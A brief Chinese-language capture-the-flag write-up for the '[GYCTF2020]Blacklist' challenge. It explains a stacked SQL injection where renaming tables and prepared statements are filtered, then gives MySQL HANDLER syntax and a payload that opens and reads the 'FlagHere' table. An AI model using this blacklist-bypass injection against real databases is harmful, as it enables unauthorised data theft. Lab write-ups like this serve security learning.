[GYCTF2020]Blacklist

和强网杯的随便注一样都是堆叠注入，但是过滤比强网杯更严格，修改表名和预编译都不能使用。
但是还有一种新姿势：

HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

HANDLER ... OPEN语句打开一个表，使其可以使用后续HANDLER ... READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭。
payload：

HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#